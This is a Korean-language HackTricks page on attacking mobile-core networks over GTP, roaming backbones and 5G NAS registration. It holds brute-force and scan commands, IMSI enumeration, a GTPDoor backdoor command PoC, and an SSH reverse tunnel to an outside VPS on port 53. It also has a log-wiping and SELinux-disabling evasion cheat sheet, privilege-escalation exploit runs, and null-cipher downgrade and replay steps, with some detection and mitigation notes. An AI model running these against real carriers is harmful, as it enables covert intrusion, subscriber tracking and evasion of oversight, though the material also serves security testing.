텔레콤 네트워크 악용 (GTP / Roaming Environments)

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) 종종 반신뢰된 GRX/IPX roaming 백본을 통과합니다. 평문 UDP로 전송되고 거의 인증이 없기 때문에, any foothold inside a telecom perimeter can usually reach core signalling planes directly. 다음 노트는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 현장에서 관찰된 offensive tricks를 모아둔 것입니다.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

놀랍게도 많은 벤더 네트워크 엘리먼트가 root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 같은 하드코드된 SSH/Telnet 사용자 계정과 함께 출하됩니다. 전용 wordlist는 brute-force 성공률을 극적으로 높입니다:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

장치가 management VRF만 노출하고 있다면, 먼저 jump host를 통해 pivot하세요(아래 «SGSN Emu Tunnel» 섹션 참조).

1.2 Host Discovery inside GRX/IPX

대부분의 GRX 사업자는 백본 전반에 걸쳐 ICMP echo를 여전히 허용합니다. masscan의 내장 gtpv1 UDP 프로브를 결합하여 GTP-C 리스너를 빠르게 매핑하세요:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. 가입자 열거 – cordscan

다음 Go 도구는 GTP-C Create PDP Context Request 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 SGSN / MME와 때로는 가입자가 방문한 PLMN을 알려줍니다.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

주요 플래그:

  • --imsi 대상 가입자 IMSI
  • --oper Home / HNI (MCC+MNC)
  • -w raw 패킷을 pcap으로 기록

바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있습니다:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP – GTPDoor

GTPDoor는 작은 ELF 서비스로, UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다. 페이로드가 pre-shared tag로 시작하면, 나머지는 AES-128-CBC로 복호화되어 /bin/sh -c를 통해 실행됩니다. stdout/stderr는 Echo Response 메시지 내부로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다.

최소 PoC 패킷 (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

탐지:

  • SGSN IPs로 unbalanced Echo Requests를 보내는 모든 호스트
  • GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격과의 편차

4. 코어를 통한 Pivoting

4.1 sgsnemu + SOCKS5

OsmoGGSN실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는 SGSN 에뮬레이터를 제공합니다. 협상되면, Linux는 로밍 피어에서 접근 가능한 새로운 tun0 인터페이스를 받습니다.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

적절한 firewall hair-pinning으로 이 터널은 signalling-only VLANs를 우회하여 직접 data plane에 접근합니다.

4.2 SSH Reverse Tunnel over Port 53

DNS는 roaming infrastructures에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 listening on :53으로 노출시키고 집에서 나중에 접속하세요:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

VPS에서 GatewayPorts yes가 활성화되어 있는지 확인하세요.

5. 은밀 채널

채널전송디코딩비고
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)순수한 수동 리스너, 아웃바운드 트래픽 없음
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octets*.nodep 서브도메인 감시
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IE합법적인 GTP-C 트래픽과 섞여 작동

모든 implants는 watchdogs를 구현하며, 충돌 시 그들의 binaries를 timestomp하고 re-spawn합니다.

6. 방어 회피 치트시트

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. 구형 NE에서의 Privilege Escalation

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

정리 팁:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. 도구 모음

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – 이전 섹션에서 설명한 custom tooling.
  • FScan : intranet TCP 스윕 (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : 경량 SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration 공격: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

5G 등록 절차는 NGAP 위의 NAS(Non-Access Stratum)에서 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 보안 비활성 창(window)은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부 온-패스, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.

Registration 흐름(단순화):

  • Registration Request: UE가 SUCI(SUPI 암호화)를 전송하고 capabilities를 보낸다.
  • Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다.
  • Security Mode Command/Complete: NAS 무결성 및 암호화가 협상되어 활성화된다.
  • PDU Session Establishment: IP/QoS 설정.

Lab 설정 팁 (non-RF):

  • Core: Open5GS 기본 배포로 흐름을 재현하기에 충분하다.
  • UE: simulator 또는 테스트 UE; Wireshark로 디코드.
  • Active tooling: 5GReplay (NAS를 NGAP 내에서 캡처/수정/재전송), Sni5Gect (완전한 rogue gNB를 띄우지 않고 NAS를 실시간으로 스니핑/패치/인젝션).
  • Wireshark에서 유용한 display filter:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

예상 동작: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)만 전송해야 한다. Registration Request에서 평문 SUPI/IMSI가 발견되면 지속적인 가입자 추적을 가능하게 하는 개인정보 보호 결함을 의미한다.

테스트 방법:

  • InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다.
  • Wireshark 빠른 점검:
  • SUCI로 디코드되어야 하며, IMSI로 디코드되어서는 안 된다.
  • 필터 예: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci가 있어야 한다; 없고 대신 imsi가 존재하면 노출(leak)이다.

수집할 항목:

  • 노출된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치 별로 추적한다.

완화책:

  • SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 감지되면 경보.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

배경:

  • UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다.
  • 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다.

문제:

  • Registration Request는 무결성 보호되지 않기 때문에, 온-패스 공격자가 capability 비트를 지워 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 응급 서비스 외부에서 null 알고리즘을 잘못 허용한다.

공격 단계:

  • InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정한다.
  • Sni5Gect로 NAS 메시지를 훅(hook)하고 전달 전에 capability 비트를 패치한다.
  • AMF가 null 암호/무결성을 수락하여 Security Mode를 EEA0/EIA0로 완료하는지 관찰한다.

검증/가시성:

  • Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인한다.
  • 예시 수동 스니퍼 출력:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigations (must):

  • AMF/policy를 구성하여 엄격히 요구되는 경우(예: emergency calls)를 제외하고 EEA0/EIA0를 거부하도록 설정한다.
  • 최소한 EEA2/EIA2 적용을 권장한다; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정한다.

9.3 Replay of initial Registration Request (pre-security NAS)

초기 NAS는 무결성과 신선도가 부족하기 때문에 캡처된 InitialUEMessage+Registration Request를 AMF로 재전송(replay)할 수 있다.

PoC rule for 5GReplay to forward matching replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

관찰할 사항:

  • AMF가 replay를 수용하고 Authentication으로 진행하는지; freshness/context 검증의 부재는 노출을 의미함.

완화 대책:

  • AMF에서 replay protection/context binding을 적용; GNB/UE별로 rate-limit 및 상관관계 적용.

9.4 도구 포인터 (재현 가능)

  • Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
  • Wireshark: NGAP/NAS 디코드 확인; 위의 필터를 적용해 Registration을 분리.
  • 5GReplay: registration을 캡처한 뒤 규칙대로 특정 NGAP + NAS 메시지를 replay.
  • Sni5Gect: NAS control-plane을 실시간 sniff/modify/inject하여 null algorithms를 강제하거나 authentication 시퀀스를 교란.

9.5 방어 체크리스트

  • Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI 존재 여부 확인; 문제 장치/USIM 차단.
  • EEA0/EIA0는 좁게 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
  • 무단 또는 잘못 구성된 인프라 탐지: unauthorized gNB/AMF, 예기치 않은 N2 피어.
  • null algorithms을 유발하거나 InitialUEMessage의 빈번한 replay를 초래하는 NAS security modes에 대해 경보.

탐지 아이디어

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
  3. Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기